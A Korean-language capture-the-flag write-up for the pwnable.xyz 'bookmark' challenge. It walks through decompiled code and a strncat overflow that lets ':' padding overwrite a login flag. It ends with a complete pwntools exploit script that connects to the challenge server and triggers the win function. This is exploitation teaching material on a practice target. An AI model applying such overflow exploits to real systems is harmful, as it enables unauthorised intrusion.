[pwnable.xyz]bookmark

랭킹 1페이지 찍엇당..

우선 바이너리를 보호기법 다 걸려있다.

[*] '/vagrant/ctfs/challenge'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

메인함수 처음 시작에 qword_202300 라는 전역변수에 랜덤값을 넣어준다.

int init_login()
{
  int fd; // [rsp+Ch] [rbp-4h]

  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
    exit(1);
  read(fd, &qword_202300, 8uLL);
  return close(fd);
}

1번 메뉴에서는 랜덤값을 저장한 변수와 입력한 값을 비교해서 dword_202308 변수에 1을 넣어주는데 이를 통해 4번 메뉴에서 win함수를 호출시킬 수 있다. 아마 이 문제의 핵심은 qword_202300 를 알아내거나 dword_202308 를 0이 아닌 아무 값으로 덮어주면 되는 것이다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 savedregs; // [rsp+10h] [rbp+0h]

  setup();
  init_login();
  puts("Web bookmarks.");
  while ( 1 )
  {
    print_menu();
    read_long();
    switch ( &savedregs )
    {
      case 0u:
        return 0;
      case 1u:
        printf("Password: ", argv);
        if ( qword_202300 == read_long() )
          dword_202308 = 1;
        break;
      case 2u:
        create_url();
        break;
      case 3u:
        argv = bm;
        printf("url: %s\n", bm);
        break;
      case 4u:
        if ( dword_202308 )
        {
          puts("Not Implemented.");
          puts("But here is a reward.");
          win();
        }
        break;
      default:
        puts("Invalid");
        break;
    }
  }
}

여기서 bm이라는 전역변수에 값을 써줄 수 있는 곳이다.

int create_url()
{
  void *buf; // ST18_8
  signed int v2; // [rsp+Ch] [rbp-14h]
  char *v3; // [rsp+10h] [rbp-10h]

  printf("Secure or insecure: ");
  read(0, bm, 9uLL);
  if ( strncmp(bm, "http", 4uLL) )
    return puts("Not a valid URL.");
  if ( byte_202204 == 's' )
    v3 = &unk_202205;
  else
    v3 = &byte_202204;
  while ( *v3 == ':' || *v3 == '/' )
    ++v3;
  *v3 = 0;
  printf("Size of url: ", "http");
  v2 = read_long();
  if ( v2 < 0 || v2 > 127 )
    return puts("Too large.");
  buf = malloc(v2);
  read(0, buf, v2);
  return strncat(bm, buf, 0x100uLL);
}

create_url 함수에서 로직 버그가 터진다. 만약 여기 bm에 strncat으로 이어붙이는데 계속 이어붙일 수 잇다면 bm과 dword_202308 의 거리는 264이기 때문에 덮을 수 있을거다.

bm = 0x0000000000202200
byte_202204 = 0x0000000000202204
unk_202205 = 0x0000000000202205
qword_202300 = 0x0000000000202300
dword_202308 0x0000000000202308

여기서 취약점은 *v3가 ‘:’ 이거나 ‘/’ 이면 ++v3; 해주기 때문에 취약점이 발생한다. 왜냐하면 strncat은 널바이트를 자르고 그 이후로 붙여주기 때문에 *v3 = 0이 안되도록 하면 된다. 그로 인해 ‘:’나 ‘/’을 계속 넣어주고 다시 create_url함수를 실행시켜서 문자열을 계속 붙여주면 널바이트부터 이어서 붙여지기때문에 한 3번만 하면 dword_202308 변수를 덮을 수 있다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./challenge')
# p = process('./challenge')
p = remote('svc.pwnable.xyz',30021)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)

def login(passwd):
	sla('>','1')
	sa(':',passwd)

def create_url(url,size,data):
	sla('>','2')
	sa(':',url)
	sa(':',str(size))
	p.send(data)

def print_url():
	sla('>','3')

def save_url(): # win()
	sla('>','4')

def quit():
	sla('>','0')

create_url('https',127,':'*127)
create_url('https',127,':'*127)
create_url('https',127,':'*127)
#login(str(0x3a3a3a3a3a3a3a3a))
save_url()

p.interactive()